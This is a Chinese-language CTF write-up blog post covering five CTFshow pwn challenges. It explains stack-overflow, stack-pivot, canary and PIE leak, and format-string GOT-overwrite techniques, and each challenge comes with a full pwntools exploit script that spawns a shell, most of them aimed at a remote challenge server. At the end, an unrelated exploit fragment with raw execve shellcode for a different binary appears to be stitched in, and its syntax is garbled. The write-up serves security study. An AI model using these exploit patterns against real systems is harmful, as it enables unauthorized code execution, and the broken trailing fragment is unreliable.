HackPluto's Blog

CTFshow WriteUp

字数统计: 1.6k阅读时长: 8 min
2020/05/01 Share

pwn-签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

#p = process("./pwn")
p = remote("124.156.121.112",28056)

elf = ELF("./pwn")
pop = 0x00000000004006d3
sh = 0x0000000000601040
pay = "a"*0x20 + p64(0) + p64(pop) + p64(sh) + p64(elf.plt['system'])
p.sendline(pay)
p.interactive()

基础的栈溢出,但是题目对shell做了过滤,不能识别cat和空格,可以使用base64来getshell

MagicString

和上一个题很像但是没有sh字符串,这里说两种解法,第一个是用puts函数将“/bin/sh”写到BSS上,然后直接调用system,第二种是栈迁移

EXP1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

#p = process("./pwn_string")
p = remote("124.156.121.112",28035)
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
elf = ELF("./pwn_string")


pop = 0x0000000000400733
bss = 0x601080

p.recv()
pay = "a"*0x2a0 + p64(0) + p64(pop) + p64(bss) + p64(elf.plt['gets']) + p64(pop) + p64(bss) + p64(elf.plt['system'])
#gdb.attach(p)
#pause()
p.sendline(pay)
sleep(0.5)
#pause()
p.sendline("/bin/sh\x00")
p.interactive()

EXP2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

#p = process("./pwn_string")
p = remote("124.156.121.112",28035)
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
elf = ELF("./pwn_string")


leave = 0x00000000004006cb
pop = 0x0000000000400733
bss = elf.bss()+0x800
ret = 0x00000000004004d1

p.recvuntil("Throw away ida pro!!! I want a girlfriend!\n")
pay = "a"*0x2a0 + p64(bss) + p64(pop) + p64(bss) + p64(elf.plt['gets']) + p64(leave)

p.sendline(pay)
pay = "aaaaaaaa" + p64(ret) + p64(pop) + p64(bss+0x28) + p64(elf.plt['system']) + "/bin/sh\x00"
p.sendline(pay)
p.interactive()

这里因为调用system函数的时候需要栈平衡所以多加一个ret

mingxinstack

查看保护

1
2
3
4
5
6
[*] '/home/pluto/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/pwn_stack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

开启了NX,canary,PIE

漏洞点就是两个栈溢出
但是因为这个题同时有canary和PIE所以我们需要多次leak栈上地址,这里我使用的方法是,第一次先用printf泄漏出canary的地址,然后使用栈溢出覆盖返回地址后两位,返回main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:0000000000020803    mov     [rsp+0B8h+var_48], rax
.text:0000000000020808 lea rax, [rsp+0B8h+var_98]
.text:000000000002080D mov fs:300h, rax
.text:0000000000020816 mov rax, cs:environ_ptr_0
.text:000000000002081D mov rsi, [rsp+0B8h+var_B0]
.text:0000000000020822 mov edi, [rsp+0B8h+var_A4]
.text:0000000000020826 mov rdx, [rax]
.text:0000000000020829 mov rax, [rsp+0B8h+var_A0]
.text:000000000002082E call rax
.text:0000000000020830
.text:0000000000020830 loc_20830: ; CODE XREF: __libc_start_main+134↓j
.text:0000000000020830 mov edi, eax
.text:0000000000020832 call exit

0x20830这个是返回地址,他上面那条call rax就是去调用main,所以把返回地址稍微往上改一点,改成0x020816,就可以再次调用main

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

#p = process("./pwn")
p = remote("124.156.121.112",28099)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf = ELF("./pwn")

#leak canary
p.recvuntil("She said: hello?\n")
pay = "a"*0x29
p.send(pay)
p.recv(0x28)
canary = u64(p.recv(8)) - 0x61
success("[*] Canary:"+hex(canary))
#ret to main
pay = "a"*0x28 + p64(canary) + p64(0)*3 + "\x16"
p.send(pay)

#leak libc
p.recvuntil("She said: hello?\n")
pay = "a"*0x48
p.send(pay)
p.recv(len(pay))
libc_start = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print hex(libc_start)
base = libc_start - 240 -libc.sym['__libc_start_main']
success("[*] libc base:"+hex(base))
system_addr = base + libc.symbols['system']
binsh = base + libc.search('/bin/sh').next()
success("[*] system:"+hex(system_addr))
success("[*] binsh:"+hex(binsh))

#ret to system
pop = base + 0x0000000000021102
pay = "a"*0x28 + p64(canary) + p64(0)*3 + p64(pop) + p64(binsh) + p64(system_addr)
p.sendline(pay)
p.interactive()

PWN_tang

查看保护

1
2
3
4
5
6
[*] '/home/lhh/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/tang'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

所有保护全开
这个题目漏洞点有两个,一个格式化字符串,一个栈溢出

所以思路就是先利用格式化字符串leak出 canary,然后通过栈溢出ret2main函数,第二次格式字符串leak出libc地址,为什么要用两次呢,因为题目中对于格式化字符串限制了长度就是5个字节,只够我们一个leak一个地址,接下来直接找one gadget的地址就好了

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#coding=utf-8
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

p = process("./tang")
#p = remote("124.156.121.112",28099)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf = ELF("./tang")

#leak canary
p.recvuntil("你怎么了?\n")
pay = "%9$p"
p.sendline(pay)
canary = int(p.recv(18),16)
success("[*] Canary:"+hex(canary))

#ret to main
p.sendline("write to bss")
p.recvuntil("你把手离火炉远一点!\n")
pay = "a"*0x38 + p64(canary) + p64(0)*3 + "\x16"
p.send(pay)

#leak libc
p.recvuntil("你怎么了?\n")
pay = "%23$p"
p.send(pay)
libc_start = int(p.recv(14),16) - 240
base = libc_start -libc.sym['__libc_start_main']
success("[*] libc base:"+hex(base))

#ret to system
p.sendline("write to bss")
p.recvuntil("你把手离火炉远一点!\n")
gadget = base + 0xf1147
success("[*] one gadget:"+hex(gadget))
pay = "a"*0x38 + p64(canary) + p64(0)*3 + p64(gadget)
p.sendline(pay)
p.interactive()

PWN_babyFmtstr

查看保护

1
2
3
4
5
6
[*] '/home/lhh/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

开了NX和canary

同样是一个格式化字符串漏洞
介绍两种思路:

EXP1:

第一种思路是通过格式化字符串leak出libc地址,然后先讲free@got修改成main函数的地址,实现多次利用漏洞,然后将某一个函数got修改成one_gadget,然后再将free@got修改成那个函数的plt,最后完成漏洞利用
这个方法就是太麻烦了,优点就是不用爆破
我在这里选择的是cxa_throw函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#coding=utf-8
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

p = process("./pwn")
#p = remote("124.156.121.112",28059)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf = ELF("./pwn")

#leak libc
p.recvuntil("please input name:\n")
pay = "%" + str(0xe) + "d%12$hhn" + "%" + str(0x93-0xe) + "c%13$hhn%25$pAAAA" + p64(elf.got['free']+1) +p64(elf.got['free']) # main_addr = 0x400E93
p.sendline(pay)
p.recvuntil("0x")
libc_start = int(p.recv(12),16) - 240
base = libc_start -libc.sym['__libc_start_main']
success("[*] libc base:"+hex(base))
gadget = base + 0xf1147
success("[*] one gadget:"+hex(gadget))


p.sendlineafter("please input size of motto:\n","12")
p.sendlineafter("please input motto:\n","aaaaaa")

#change __cxa_throw got
addr1 = gadget&0xff
addr2 = (gadget>>8)&0xff
addr3 = (gadget>>16)&0xff
addr4 = (gadget>>24)&0xff
addr5 = (gadget>>32)&0xff
addr6 = (gadget>>40)&0xff


def change_got(i,addr1,addr2):
p.recvuntil("please input name:\n")
pay = "%" + str(addr1) + "d%12$hhn" + "%" + str((addr2-addr1+0x100)%0x100) + "d%13$hhn"
pay = pay.ljust(32,"A")
pay += p64(elf.got['__cxa_throw']+i) + p64(elf.got['__cxa_throw']+i+1)
p.sendline(pay)
p.sendlineafter("please input size of motto:\n","12")
p.sendlineafter("please input motto:\n","aaaaaa")


change_got(0,addr1,addr2)
change_got(2,addr3,addr4)
change_got(4,addr5,addr6)


#change free got
addr = elf.plt['__cxa_throw']&0xffff
pay = "%" + str(addr) + "d%12$hn"
pay = pay.ljust(32,"A")
pay += p64(elf.got['free'])
p.sendline(pay)
p.sendlineafter("please input size of motto:\n","12")
p.sendlineafter("please input motto:\n","aaaaaa")
p.interactive()

EXP2:

爆破某一个libc函数GOT为one_gadget,概率1/16

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
p = process('./pwn')
#p = remote('124.156.121.112',28086)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf = ELF("./pwn")

payload = '%82c%12$hhn' + '%82c%13$hhn'
payload = payload.ljust(0x20,'A')
payload += p64(elf.got['read'] + 1) + p64(elf.got['read'])
p.sendline(payload)
p.sendline("aaaaa")
p.interactive()

from pwn import
import subprocess
def main():
shellcode=”\x90”
4094+”\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80”
env={}
for i in range(0,100):
env[str(i)]=shellcode
while True:
p=subprocess.Popen([p32(0xbffb6666)],executable=”/root/pwnable/tiny_easy”,env=env)
p.wait()
if name == “main“:
main()

CATALOG
  1. 1. pwn-签到
  2. 2. MagicString
    1. 2.1. EXP1:
    2. 2.2. EXP2:
  3. 3. mingxinstack
    1. 3.1. EXP
  4. 4. PWN_tang
    1. 4.1. EXP
  5. 5. PWN_babyFmtstr
    1. 5.1. EXP1:
    2. 5.2. EXP2: